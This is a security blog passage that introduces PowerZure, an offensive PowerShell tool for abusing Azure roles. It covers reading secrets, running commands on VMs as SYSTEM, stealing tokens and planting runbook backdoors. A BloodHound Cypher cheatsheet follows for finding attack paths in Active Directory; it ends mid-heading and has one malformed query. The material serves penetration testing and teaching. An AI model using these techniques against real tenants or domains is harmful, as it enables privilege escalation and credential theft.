Attacking Azure, Azure AD, and Introducing PowerZure

Over the past decade, Azure’s presence in businesses has grown significantly as new features and support were added to Azure. The purpose of this article is to cover three main points:

  1. Explain the components of Azure and how they fit into a modern IT environment.
  2. Explain how certain things within Azure can be leveraged from an offensive perspective.
  3. Introduce the PowerZure project and explain how it helps offensive operations against Azure.
    https://github.com/hausec/PowerZure

Background

Azure was released in 2010 as “Windows Azure” and was renamed “Microsoft Azure” in 2014 to imply that Azure covers more than just Windows products, as well as the major addition of Azure Resource Manager (Azure RM) and Azure Active Directory (Azure AD). It started as Platforms as a Service (PaaS) to spin up Virtual Machines (VMs), Storage, WebApps, and SQL Databases but has now evolved into Infrastructure as a Service (IaaS), as well as Software as a Service (SaaS), offering over 600 services.

Enter a Figure 1: Overview of Azure’s offerings.caption

Current implementations of Azure often involve using several components shown above, which will be highlighted.

Components

Azure’s architecture is complicated as there are several components. There are a few components that are essential to understand as they are commonly used within businesses.

Enterprise

This represents the Azure global account. It’s the unique identity that the business owns and allows access to subscriptions, tenants, and services.

Tenant

Tenants are instances of Azure for the Enterprise. An Enterprise can have multiple tenants. This is often seen in companies that are geographically separated or subsidiaries. Access to one tenant in an enterprise does not give access to another tenant. An analogy is that tenants are similar to Forests in Active Directory, where trusts can be established (within Azure AD), but that is not default and must be configured.

Subscriptions

Subscriptions are how you gain access to Azure services (Azure itself, Azure AD, Storage, etc). Subscriptions are often broken out into uses for the businesses, e.g. a subscription for production web apps, another subscription for development web apps, etc.

Resources

Resources are the specific application, such as SQL servers, SQL DBs, virtual networks, run-books, accounts, etc.

Resource Groups

Resource groups are the containers that house the resources. Business will often have multiple resource groups depending on their usage of the resource.

Runbooks

Runbooks are part of the Azure Automation service and support scripting languages PowerShell and Python (2.7). These allow for automation of operations within Azure, e.g. start-up of multiple virtual machines at once. There are possible attack vectors within Runbooks that are covered later.

Azure Active Directory

Azure Active Directory (Azure AD) is directory services in the cloud. There are many differences between it and on-premise AD, which is also covered later.

Azure AD Connect

Azure AD connect is the tools that actually connects on-premise with Azure AD. It has features such as hash synchronization and federation (between Tenants) to link to on-premise AD.

Service Principal

An Azure service principal is a security identity used by user-created apps, services, and automation tools to access specific Azure resources. Think of it as a ‘user identity’ (login and password or certificate) with a specific role, and tightly controlled permissions to access your resources. It only needs to be able to do specific things, unlike a general user identity. It improves security if you only grant it the minimum permissions level needed to perform its management tasks. For example, an organization can assign its deployment scripts to run authenticated as a service principal.

Architecture

A visualization of Azure’s architecture is shown below

Picture1

AzureAD

Azure AD is not a replacement for on-premise AD, nor is it the same as Azure (i.e. AzureAD vs. Azure). AzureAD is a management platform for AD from the cloud (reset passwords, create users, add users to groups, etc.) and used as the authentication piece into Azure as a whole (as well as O365). This still introduces several interesting attack paths that may also effect on-premise AD.

There are three primary ways of integrating on-premise Active Directory to Azure AD, Password Hash Synchronization (PHS), Pass Through Authentication (PTA), and Federated Services (ADFS). PHS and PTA both have potential attack vectors associated with them.

Password Hash Synchronization

With Password Hash Synchronization (PHS), the passwords from on-premise AD are actually sent to the cloud, similar to how domain controllers synchronize passwords between each other via replication. This is done from a service account that is created with the installation of AD Connect.

This introduces a unique attack path where if the synchronization account is compromised, it has enough privileges that it potentially could lead to the compromise of the on-premise AD forest, as that account is granted replication rights which are needed for DCSync. Realistically, the sync account password should not be known and thus will not be logged in anywhere, however Dirk-jan, during his Troopers 2019 presentation, discovered how to reverse the account’s password from the SQL DB and made a script that would do the hard work.

Pass Through Authentication

Pass through authentication keeps the passwords on-premise but also allows the users to have a single password for Azure and on-premise. For example, when a user logins to Outlook on the web, they enter their credentials into the web portal (Azure AD), which Azure then uses PKI to encrypt the credentials and sends them to an agent on-premise. The agent decrypts the credentials and validates it against the DC, which returns a status back to the agent, which is then relayed back to Azure AD.

It’s possible to perform DLL injection into the PTA agent and intercept authentication requests, which include credentials in clear-text. @_xpn_ has written an excellent blog post on doing this.

Active Directory Federated Services (ADFS)

Azure AD can connect back to on-premise via ADFS. With ADFS, Azure AD is set as a trusted agent for federation and allows login with on-premise credentials.

Access Control

Policies

Policies in Azure do not do the actual controlling of access, they are meant to enforce different rules and effects for resources. For example, with policy, you can restrict certain sizes of a VM in your subscription, or make sure the Administrators group in a VM doesn’t have too many members. Policies are broken into two parts — the policies themselves, and policy definitions. An example is shown below.

Figure 7: Policy Assignment page in Azure.

Figure 8: Choosing a specific policy to assign within Azure.

Policies contain multiple definitions, where definitions are what does the auditing/action. Thus, you can create a definition and apply it to multiple policies.

Role Based Access Control (RBAC) and Roles

Azure offers a more granular control to security with RBAC, in the form of Roles. It differs from Policies by focusing on user actions at different scopes. You might be added to the Contributor role for a resource group, allowing you to make changes to that resource group. RBAC in Azure allows for custom roles, however many businesses rely on the built-in roles. The list of roles and their access can be found here. To confuse you more, there’s a difference between Azure roles (referred to as Azure RBAC) and AzureAD roles. The primary difference, is that AzureAD roles only affect AzureAD and do not have any influence over resources within Azure. With this being said, the exclusion to that is the Global Administrator role, which has the option (literally a toggle switch in the Azure Portal) to also give themselves (Global Administrator) ownership of all resources within Azure itself.

For the purpose of this this article, only the following roles within Azure RBAC will be discussed:

  • Owner
  • Contributor
  • Reader

The reason being is there are far too many roles to go in depth on all of them, with also the additional option of custom roles. Within the Azure portal, you can read a resource’s security settings, such as which roles can access or make changes to that resource. This can be viewed in the Identity Access & Management (IAM) tab in the Azure portal if you prefer not to use the CLI.

Figure 9: Checking a user’s role in IAM within Azure.

Resources can have their own specific access control list (ACL), so you can add a user to only be able to view that specific resource. It’s important to note that roles/permissions are inheritance-based, meaning if a user is in the Contributor role for the resource group, they will effectively have Contributor access to every resource within the resource group. Even if they are only assigned to the reader role for a resource within that resource group, since they have Contributor access to the whole group they will be a Contributor to that resource.

Attacking Azure and Introducing PowerZure

With several components in Azure, there are several different avenues for attacks within the platform. These attack vectors leverage misconfigurations or design flaws, some of which are listed here. The major question that needs to be addressed, is what is the goal of testing an Azure instance? This will depend on the engagement and scope of work, so there’s multiple answers to that, however in this article the purpose is to demonstrate the implications of certain roles and resources within Azure and how those can be abused both from a privilege escalation standpoint and an overall data extraction standpoint to possibly achieve that goal.

After interacting with Azure via CLI and the az module, I realize there is a great opportunity to script out many of the tasks an attacker would do within Azure. As a result, I’ve created PowerZure, a PowerShell project that’s purpose is to make interacting with Azure a bit easier, as well as adding offensive capability.

PowerZure

PowerZure leverages three PowerShell modules for Azure:

  • Azure CLI
  • Azure PowerShell
  • AzureAD PowerShell

Each module does things the other cannot, hence the need for all three. However, PowerZure mostly relies on the Azure CLI module.

PowerZure has several functions available and they are broken out in reference to their purpose:

  • Operational — Functions that will cause an operation within Azure
  • Information Gathering — Functions that gather information on resources in Azure
  • Data Exfiltration — Functions that will exfiltrate data

For the sake of length and time, not all functions will be covered, but it is necessary to explain the purpose of some and the details around what is happening under the hood.

Startup

Since PowerZure requires the az module, After importing PowerZure ipmo .\PowerZure, it will download the modules if not already present.

For a full coverage of PowerZure, check out the documents on readthedocs.io

https://powerzure.readthedocs.io/en/latest/index.html

It then requires sign in before usage of the functions. There’s three types of logins for Azure:

  1. Interactive. Simply type az login and you will be directed to a login page. If using MFA, you must login via Interactive mode.
  2. Cached token. Tokens for Azure are cached in

C:\Users\[Name]\.Azure\accessTokens.json

So after you login once, the token is cached. This allow shows the possibility that an access token can be stolen and re-used.

3. Pass in credentials. You can login (if MFA is not enabled and you’re using a non-personal account) via az login -u User -p Password

Once logged in, PowerZure will display your username, the subscriptions you have access to, your roles, and your Azure AD group memberships. Knowledge of what Role the user has is key to figuring out what you can do operationally and what functions you can use within PowerZure. PowerZure’s help menu specifically lists out which roles are needed to run the function. This is purely in reference to the built-in roles, as custom roles are unpredictable. To view the help menu, the command is PowerZure -h

Figure 10: PowerZure’s help menu

In addition, each function can be used with Get-Help to get information or syntax.

Function 11: Get-Help displays the syntax for a function

Before further operation of PowerZure, a default subscription must be set if there are multiple subscriptions so the script will know which to operate against. A subscription can be set via

Set-Subscription -Id [idgoeshere]

The subscription IDs are printed once you login to Azure with PowerZure. If only one subscription is present, this can be ignored.

Role Abuse

Each of the Global roles (Administrator, Owner, Contributor, Reader) will be broken down into what can be accomplished, why it’s necessary to accomplish, and how PowerZure helps.

Reader

The Global Reader role has read-only access for components in Azure (Subscriptions, Policies, Resources, etc.) This by itself can grant an attacker useful information. For example, if the attacker compromises an account with Reader privileges, they can read Runbooks. Runbooks fall under the “Automation Accounts” resource. An example is shown below

Figure 10: Viewing a Runbook with the ‘Reader’ role. Notice ‘Edit’ and ‘Start’ are grayed out.

This can be useful to see if there’s any hard-coded credentials within those Runbooks.

As a Reader, you can also read several other resource’s details to search for hard-coded credentials or other potentially interesting information, including:

  • Logic apps
  • Deployment Templates
  • Virtual Networks (Potentially useful to view new targets/address spaces)
  • Export Templates on Virtual Machines
  • Connection Strings in Azure SQL
  • Configurations on several other resources/applications

PowerZure can be leveraged to do a lot of enumeration as a Reader. For example, gathering all users, groups, roles, etc. Runbooks can also be read. In PowerZure, Runbooks can be listed via Get-Runbooks

Figure 12: Listing Runbooks in PowerZure

From here, the Runbooks can be obtained with Get-RunbookContent

Figure 13: Displaying the contents of a Runbook

Readers have access to all of the functions listed under ‘Information Gathering’, which can be found here.

Contributor

Contributor role allows you to actually edit resources and services within Azure, instead of just reading properties. Several attack vectors are present from the Contributor role that can be exploited with PowerZure.

  • Execute-Command will execute a supplied command on a targeted VM. As Contributor, these commands are executed as SYSTEM.

Figure 14: Executing ‘whoami’ on a Win10 VM shows commands are ran as SYSTEM by default

  • Execute-MSBuild is a function that will take in a MSBuild payload and execute it. By default, Windows VMs deployed with Azure’s templates will have .NET 4.0 installed.
  • Execute-Program will upload and execute any file that is supplied. It works by identifying a storage container, uploads the supplied file through Get-AzVMCustomScriptExtension , then executes that program via az vm run invoke. This entire process does take time (~2 mins) unfortunately, due to the dynamic location of where the file is uploaded to on the VM.
  • Get-AllKeyVaultContents will automatically go through a Key Vault, check for access, and print the results of any secrets, keys, or certificates. By default, Key Vaults only allow access to their owners, however if a user has Global Contributor, they can edit the access policies on the Key Vault and give themselves access. PowerZure does this automatically.

Figure 16: Revealing the secrets in a Key Vault

  • Get-AllAppSecrets will return all passwords or certificate credentials for any Application that has them stored.
  • Get-AllSecrets is a catch-all; it will run return all Key Vault secrets/keys/credentials, App Secrets, and Automation Account Run-as credentials.

Contributors also can download disks from virtual machines.

  • Get-AvailableVMDisks will list the available disks that are downloadable. This can then give the information needed for
  • Get-VMDisk which will generate a URL to download that disk. A fair warning, though, disks can be massive in size.

Owner

Owners can do everything a Contributor can do, but they have one additional feature: They can also give permission to a resource they own. This is particularly useful as an attacker because it provides many opportunities to create a backdoor into a resource. For example, if an Owner controls a Virtual Machine resource, they can explicitly grant any user Owner status over that Virtual Machine. In PowerZure, this is accomplished via the Set-Role function. In addition, existing roles can be checked via Get-RolesUser function.

Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest

Figure 17: Adding a user to the Owner role for a VM resource.

Administrator

Administrators over a subscription have the ability to do everything an Owner can, plus create additional users and groups within Azure AD. They also have the ability to assign roles for the subscription. PowerZure has the ability to utilize an Administrator account to create a backdoor with a Runbook.

  • Create-Backdoor , when executed, will create a Runbook. Inside the Runbook is instructions to create a new user and assign them to the Owner role, then generate a Webhook which will output a URI. This URI can then be passed into Execute-Backdoor.
  • Execute-Backdoor will execute the Runbook. An attacker will create a backdoor in case the current account that is in use has it’s password changed. With Administrator role needed to create a user, a new co-administrator should be made as well to achieve this in the Runbook, in case credentials to the user in the Administrator role are changed.

Use Case

So what is the point of PowerZure if you can accomplish all of this via the Azure Portal online? While true, PowerZure was written to help automate and script many of the tedious tasks that are endured when enumerating Azure through the Portal, e.g. listing all users of every group. The use case of the tool is situational. One example, is if a penetration tester or red-teamer compromises a computer and realizes the user has logged into Azure CLI before (not unusual for System Admins) and they have an accessToken in their .Azure file. The tester could then take that token and impersonate the user in Azure, where they now have Contributor access to several different VMs. In addition, operations within the portal do not always return the full details of the job. With az returning the raw JSON, PowerZure abstracts the JSON to give relevant details, or in some cases, displays the raw output.

Final Thoughts

Azure usage has increased dramatically in the past few years and AzureAD is becoming more popular to use. My opinion is that it is not a replacement for on-premise AD at this time, however I do foresee Microsoft adding more functionality to AzureAD to allow businesses to interact more with on-premise. This blog post was meant to establish a base layer of knowledge on the platform and establish some common misconfigurations that can be exploited with PowerZure.

The one thing this article did allude to was the detections around said tactics. The detection capabilities within Azure are heavily gate-kept behind Azure’s services and the default detection capabilities leave much to be desired, often requiring work-arounds. As a result, this requires more detail that I believe would be best detailed in a follow up article. Said article will follow this one in regards to detections within Azure.

@haus3c

Sources

  1. PowerZure Project https://github.com/hausec/PowerZure
  2. NetSPI and Karl Fosaaen

2. FoxIT and Dirk-Jan

3. Trimarc and Metcalf

4. XPN’s blog

BloodHound Cypher Cheatsheet

Bloodhound uses Neo4j, a graphing database, which uses the Cypher language. Cypher is a bit complex since it’s almost like programming with ASCII art. This cheatsheet aims to cover some Cypher queries that can easily be pasted into Bloodhound GUI and or Neo4j Console to leverage more than the default queries. This cheatsheet is separated by whether the query is for the GUI or console. For the console, it means they cannot be executed via Bloodhound GUI and must be done via the neo4j console.

ingui

Executing via GUI

inconsole

Executing via neo4j console

To also make life easier, I’ve taken the applicable queries here and made them compatible within the “Custom Queries” section in the GUI. You can download that here: https://github.com/hausec/Bloodhound-Custom-Queries

Table of Contents

GUI/Graph Queries

Console Queries

GUI/Graph Queries

Find All edges any owned user has on a computer

MATCH p=shortestPath((m:User)-[r]->(b:Computer)) WHERE m.owned RETURN p

Find All Users with an SPN/Find all Kerberoastable Users            

MATCH (n:User)WHERE n.hasspn=true
RETURN n

Find All Users with an SPN/Find all Kerberoastable Users with passwords last set > 5 years ago       

MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0]
RETURN u.name, u.pwdlastset order by u.pwdlastset

Find SPNs with keywords (swap SQL with whatever)      

MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS 'SQL')RETURN u

Kerberoastable Users with a path to DA              

MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.name CONTAINS 'DOMAIN ADMINS' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p

Find workstations a user can RDP into. 

match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513'  AND NOT c.operatingsystem CONTAINS 'Server' return p

Find servers a user can RDP into.            

match p=(g:Group)-[:CanRDP]->(c:Computer) where  g.objectid ENDS WITH '-513'  AND c.operatingsystem CONTAINS 'Server' return p   

DA sessions not on a certain group (e.g. domain controllers)

OPTIONAL MATCH (c:Computer)-[:MemberOf]->(t:Group) WHERE NOT t.name = 'DOMAIN CONTROLLERS@TESTLAB.LOCAL' WITH c as NonDC MATCH p=(NonDC)-[:HasSession]->(n:User)-[:MemberOf]->(g:Group {name:”DOMAIN ADMINS@TESTLAB.LOCAL”}) RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY COUNT(DISTINCT(NonDC)) DESC

Find all computers with Unconstrained Delegation         

MATCH (c:Computer {unconstraineddelegation:true}) return c

Find unsupported OSs  

MATCH (H:Computer) WHERE H.operatingsystem =~ '.*(2000|2003|2008|xp|vista|7|me)*.' RETURN H

 

Find users that logged in within the last 90 days. Change 90 to whatever threshold you want.         

MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u

Find users with passwords last set thin the last 90 days. Change 90 to whatever threshold you want.

MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u

Find all sessions any user in a specific domain has

MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain: "TEST.LOCAL"}) RETURN p


View all GPOs   

Match (n:GPO) return n

View all GPOs that contain a keyword   

Match (n:GPO) WHERE n.name CONTAINS "SERVER" return n

View all groups that contain the word ‘admin’  

Match (n:Group) WHERE n.name CONTAINS "ADMIN" return n

Find user that doesn’t require kerberos pre-authentication (aka AS-REP Roasting)          

MATCH (u:User {dontreqpreauth: true}) RETURN u

Find a group with keywords. E.g. SQL ADMINS or SQL 2017 ADMINS      

MATCH (g:Group) WHERE g.name =~ '(?i).SQL.ADMIN.*' RETURN g

Show all high value target group             

MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true}) RETURN p

Shortest paths to Domain Admins group from computers:          

MATCH (n:Computer),(m:Group {name:'DOMAIN ADMINS@DOMAIN.GR'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p

Shortest paths to Domain Admins group from computers excluding potential DCs (based on ldap/ and GC/ spns):              

WITH '(?i)ldap/.*' as regex_one WITH '(?i)gc/.*' as regex_two MATCH (n:Computer) WHERE NOT ANY(item IN n.serviceprincipalnames WHERE item =~ regex_two OR item =~ regex_two ) MATCH(m:Group {name:"DOMAIN ADMINS@DOMAIN.GR"}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p

Shortest paths to Domain Admins group from all domain groups (fix-it):              

MATCH (n:Group),(m:Group {name:'DOMAIN ADMINS@DOMAIN.GR'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p

Shortest paths to Domain Admins group from non-privileged groups (AdminCount=false)              

MATCH (n:Group {admincount:false}),(m:Group {name:'DOMAIN ADMINS@DOMAIN.GR'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p

Shortest paths to Domain Admins group from the Domain Users group:              

MATCH (g:Group) WHERE g.name =~ 'DOMAIN USERS@.*' MATCH (g1:Group) WHERE g1.name =~ 'DOMAIN ADMINS@.*' OPTIONAL MATCH p=shortestPath((g)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(g1)) RETURN p

Find interesting privileges/ACEs that have been configured to DOMAIN USERS group:   

MATCH (m:Group) WHERE m.name =~ 'DOMAIN USERS@.*' MATCH p=(m)-[r:Owns|:WriteDacl|:GenericAll|:WriteOwner|:ExecuteDCOM|:GenericWrite|:AllowedToDelegate|:ForceChangePassword]->(n:Computer) RETURN p

Shortest paths to Domain Admins group from non privileged users (AdminCount=false):              

MATCH (n:User {admincount:false}),(m:Group {name:'DOMAIN ADMINS@DOMAIN.GR'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p

Find all Edges that a specific user has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer):    

MATCH (n:User) WHERE n.name =~ 'HELPDESK@DOMAIN.GR'MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m)) RETURN p

Find all the Edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes:    

MATCH (n:User {admincount:False}) MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m)) RETURN p

Find interesting edges related to “ACL Abuse” that uprivileged users have against other users:   

MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p

Find interesting edges related to “ACL Abuse” that unprivileged users have against computers:        

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p

Find if unprivileged users have rights to add members into groups:        

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p

Find the active user sessions on all domain computers: 

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) RETURN p2

Find all the privileges (edges) of the domain users against the domain computers (e.g. CanRDP, AdminTo etc. HasSession edge is not included):            

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[*1]->(c:Computer) RETURN p2

Find only the AdminTo privileges (edges) of the domain users against the domain computers:        

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[:AdminTo*1..]->(c:Computer) RETURN p2

Find only the CanRDP privileges (edges) of the domain users against the domain computers:        

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[:CanRDP*1..]->(c:Computer) RETURN p2

Display in BH a specific user with constrained deleg and his targets where he allowed to delegate:            

MATCH (u:User {name:'USER@DOMAIN.GR'}),(c:Computer),p=((u)-[r:AllowedToDelegate]->(c)) RETURN p

Console Queries

Find what groups can RDP          

MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Find what groups can reset passwords  

MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN m.name, n.name ORDER BY m.name

Find what groups have local admin rights           

MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Find what users have local admin rights              

MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

List the groups of all owned users           

MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH p=(m)-[:MemberOf*1..]->(n:Group) RETURN m.name, n.name ORDER BY m.name

List the unique groups of all owned users           

MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH (m)-[r:MemberOf*1..]->(n:Group) RETURN DISTINCT(n.name)

All active DA sessions    

MATCH (n:User)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = (c:Computer)-[:HasSession]->(n) return p

Find all active sessions a member of a group has             

MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@TESTLAB.LOCAL'}) MATCH p = (c:Computer)-[:HasSession]->(n) return p

Can an object from domain ‘A’ do anything to an object in domain ‘B’   

MATCH (n {domain:"TEST.LOCAL"})-[r]->(m {domain:"LAB.LOCAL"}) RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name

Find all connections to a different domain/forest            

MATCH (n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name

Find All Users with an SPN/Find all Kerberoastable Users with passwords last set > 5 years ago (In Console)              

MATCH (u:User) WHERE n.hasspn=true AND WHERE u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset

Kerberoastable Users with most privileges         

MATCH (u:User {hasspn:true}) OPTIONAL MATCH (u)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH u,COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS comps RETURN u.name,COUNT(DISTINCT(comps)) ORDER BY COUNT(DISTINCT(comps)) DESC

Find users that logged in within the last 90 days. Change 90 to whatever threshold you want. (In Console)         

MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u.name, u.lastlogon order by u.lastlogon

Find users with passwords last set within the last 90 days. Change 90 to whatever threshold you want. (In Console)            

MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset

List users and their login times + pwd last set times in human readable format

MATCH (n:User) WHERE n.enabled = TRUE RETURN n.name, datetime({epochSeconds: toInteger(n.pwdlastset) }), datetime({epochSeconds: toInteger(n.lastlogon) }) order by n.pwdlastset

Find constrained delegation (In Console)            

MATCH (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC

View OUs based on member count. (In Console)             

MATCH (o:OU)-[:Contains]->(c:Computer) RETURN o.name,o.guid,COUNT(c) ORDER BY COUNT(c) DESC

Return each OU that has a Windows Server in it (In Console)     

MATCH (o:OU)-[:Contains]->(c:Computer) WHERE toUpper(c.operatingsystem) STARTS WITH "WINDOWS SERVER" RETURN o.name

Find computers that allow unconstrained delegation that AREN’T domain controllers. (In Console)             

MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectsid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC

Find the number of principals with control of a “high value” asset where the principal itself does not belong to a “high value” group             

MATCH (n {highvalue:true}) OPTIONAL MATCH (m1)-[{isacl:true}]->(n) WHERE NOT (m1)-[:MemberOf*1..]->(:Group {highvalue:true}) OPTIONAL MATCH (m2)-[:MemberOf*1..]->(:Group)-[{isacl:true}]->(n) WHERE NOT (m2)-[:MemberOf*1..]->(:Group {highvalue:true}) WITH n,COLLECT(m1) + COLLECT(m2) AS tempVar UNWIND tempVar AS controllers RETURN n.name,COUNT(DISTINCT(controllers)) ORDER BY COUNT(DISTINCT(controllers)) DESC

Enumerate all properties (In Console)   

Match (n:Computer) return properties(n)

Match users that are not AdminCount 1, have generic all, and no local admin   

MATCH (u:User)-[:GenericAll]->(c:Computer) WHERE  NOT u.admincount AND NOT (u)-[:AdminTo]->(c) RETURN u.name, c.name

What permissions does Everyone/Authenticated users/Domain users/Domain computers have

MATCH p=(m:Group)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GetChanges|GetChangesAll|HasSession|Owns|ReadLAPSPassword|SQLAdmin|TrustedBy|WriteDACL|WriteOwner|AddAllowedToAct|AllowedToAct]->(t) WHERE m.objectsid ENDS WITH '-513' OR m.objectsid ENDS WITH '-515' OR m.objectsid ENDS WITH 'S-1-5-11' OR m.objectsid ENDS WITH 'S-1-1-0' RETURN m.name,TYPE(r),t.name,t.enabled

Find computers with descriptions and display them (along with the description, sometimes admins save sensitive data on domain objects descriptions like passwords):      

MATCH (c:Computer) WHERE c.description IS NOT NULL RETURN c.name,c.description

Return the name of every computer in the database where at least one SPN for the computer contains the string “MSSQL”:

MATCH (c:Computer) WHERE ANY (x IN c.serviceprincipalnames WHERE toUpper(x) CONTAINS 'MSSQL') RETURN c.name,c.serviceprincipalnames ORDER BY c.name ASC

Find any computer that is NOT a domain controller and it is trusted to perform unconstrained delegation:         

MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC

Find every computer account that has local admin rights on other computers. Return in descending order of the number of computers the computer account has local admin rights to:            

MATCH (c1:Computer) OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name AS COMPUTER,COUNT(DISTINCT(computers)) AS ADMIN_TO_COMPUTERS ORDER BY COUNT(DISTINCT(computers)) DESC

Alternatively, find every computer that has local admin rights on other computers and display these computers:            

